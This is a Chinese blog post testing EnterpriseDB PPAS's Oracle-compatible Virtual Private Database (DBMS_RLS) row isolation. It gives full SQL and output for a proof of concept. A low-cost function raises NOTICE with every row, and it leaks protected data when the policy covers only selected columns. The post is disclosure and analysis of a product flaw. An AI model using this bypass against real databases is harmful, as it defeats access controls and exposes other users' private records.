EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷

不带barrier的视图是不安全的，我在前面写过文章来讲这个，以及如何攻击这种视图。
https://yq.aliyun.com/articles/14731
PostgreSQL 为了增强视图的安全，增加了barrier的属性，来解决被攻击的问题。
PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的，解决了需要使用视图来隔离数据的目的。
RLS的隔离可以参考我以前写的文章
http://blog.163.com/digoal@126/blog/static/16387704020153984016177/

回到本文的主题，EnterpriseDB 9.3针对Oracle的兼容性，提供了一个叫VPD的特性，因为9.3的版本较老，那个时候还没有RLS，所以这个特性其实是基于query rewrite来做的，与barrier视图类似。
用法参考（dbms_rls包）
https://www.enterprisedb.com/docs/en/9.5/eeguide/Postgres_Plus_Enterprise_Edition_Guide.1.158.html#pID0E02EE0HA

所以攻击方法一样有效，利用优化器的特性，先处理成本低的操作符或函数。

来看看怎么攻击？
创建测试表和数据

postgres=# create table t2(id int, info text,id2 int);
CREATE TABLE
postgres=# insert into t2 values (1,'test',0);
INSERT 16633 1
postgres=# insert into t2 values (2,'test',1);
INSERT 16634 1
postgres=# insert into t2 values (3,'test',2);
INSERT 16635 1
postgres=# insert into t2 values (4,'test',2);
INSERT 16636 1

创建VPD函数，对于digoal用户，只允许他查看info='digoal'的记录。

CREATE OR REPLACE FUNCTION vpd1(
    s_schema character varying,
    s_object character varying)
  RETURNS character varying AS
$BODY$
  RESULT varchar2(20); 
  rolname    varchar2(64);   
BEGIN
  rolname = SYS_CONTEXT('USERENV', 'SESSION_USER');
  if rolname = 'digoal' then
    RESULT = 'info = ''' ||rolname||'''' ;
  else
    RESULT = '1=1' ;
  END IF;
  RETURN(RESULT);
END$BODY$
  LANGUAGE edbspl VOLATILE SECURITY DEFINER
  COST 100;

添加VPD策略， select 任意字段都启用vpd策略

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
  v_function_schema VARCHAR2(30) := 'public';
  v_policy_function VARCHAR2(30) := 'vpd1';
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
  v_update_check boolean := true;
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check
);
END;

连接到digoal用户

\c postgres digoal

查看执行计划，会筛选info='digoal'的数据

postgres=> explain select id from t2;
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=40)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

尝试视图攻击, 把函数的cost设置为很小

create or replace function f(v_t2 t2) returns boolean as 
$$
              
declare 
begin
  raise notice '%', v_t2;
  return true;
end;

$$
 language plpgsql strict cost 0.00000000001;

查看使用了f(t2)后的执行计划

postgres=> explain select * from t2 where f(t2);                                                                                                            
                                 QUERY PLAN                                  
-----------------------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=2 width=40)
   Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text))
(2 rows)

实际上，无法攻击，效果与barrier视图类似，没有办法进行攻击

postgres=> select * from t2 where f(t2);        
 id | info | id2 
----+------+-----
(0 rows)

postgres=> set enable_seqscan=off;             
SET
postgres=> explain select * from t2 where id=1;
                           QUERY PLAN                            
-----------------------------------------------------------------
 Index Scan using idx on t2  (cost=0.13..8.15 rows=1 width=40)
   Index Cond: (id = 1)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(3 rows)

但是，如果你指针对隐私列进行筛选的话，那么就有漏洞了。

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
BEGIN
DBMS_RLS.DROP_POLICY(
v_object_schema,
v_object_name,
v_policy_name
);
end;

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
  v_function_schema VARCHAR2(30) := 'public';
  v_policy_function VARCHAR2(30) := 'vpd1';
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
  v_update_check boolean := true;
  v_sec_relevant_cols text := 'info';  -- 隐私列, 不加的话默认是所有列强制走vpd
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check,
sec_relevant_cols => v_sec_relevant_cols
);
END;

当没有查询到隐私列时，是不会带上filter的，所以给攻击带来了希望

\c postgres digoal

postgres=> explain select info from t2;      
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=32)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

postgres=> explain select id,id2 from t2;
                      QUERY PLAN                      
------------------------------------------------------
 Seq Scan on t2  (cost=0.00..21.60 rows=1160 width=8)
(1 row)

带上隐私列时，filter会自动加上.

postgres=> select * from t2;   
 id | info | id2 
----+------+-----
(0 rows)

在查询中不包含隐私列时，攻击成功
通过f函数已经成功的拿到了隐私列的内容

postgres=> select id,id2 from t2 where f(t2);
NOTICE:  (1,test,0)
NOTICE:  (2,test,1)
NOTICE:  (3,test,2)
NOTICE:  (4,test,2)
 id | id2 
----+-----
  1 |   0
  2 |   1
  3 |   2
  4 |   2
(4 rows)

关于connect by，PPAS会自动将其转换成with语法，同样能保证数据的安全。

postgres=> explain select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
                                         QUERY PLAN                                          
---------------------------------------------------------------------------------------------
 Sort  (cost=1278.31..1278.32 rows=6 width=72)
   Sort Key: connectby_cte.siblingssortcol
   CTE prior
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=104)
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=40)
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=40)
                       Filter: ((info = 'digoal'::text) AND (id = 4))
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=104)
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=104)
                       Hash Cond: (t_1.id = prior.id2)
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=40)
                             Filter: (info = 'digoal'::text)
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)
   ->  CTE Scan on prior connectby_cte  (cost=0.00..26.23 rows=6 width=72)
         Filter: (info = 'digoal'::text)
(17 rows)

postgres=> select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';        
 id | id2 | info 
----+-----+------
(0 rows)

postgres=> explain select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';     
                                         QUERY PLAN                                          
---------------------------------------------------------------------------------------------
 Sort  (cost=1334.71..1337.62 rows=1166 width=40)
   Sort Key: connectby_cte.siblingssortcol
   CTE prior
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=72)
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=8)
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=8)
                       Filter: (id = 4)
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=72)
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=72)
                       Hash Cond: (t_1.id = prior.id2)
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=8)
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)
   ->  CTE Scan on prior connectby_cte  (cost=0.00..23.32 rows=1166 width=40)
(15 rows)

postgres=> select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';        
 id | id2 
----+-----
  4 |   2
  2 |   1
  1 |   0
(3 rows)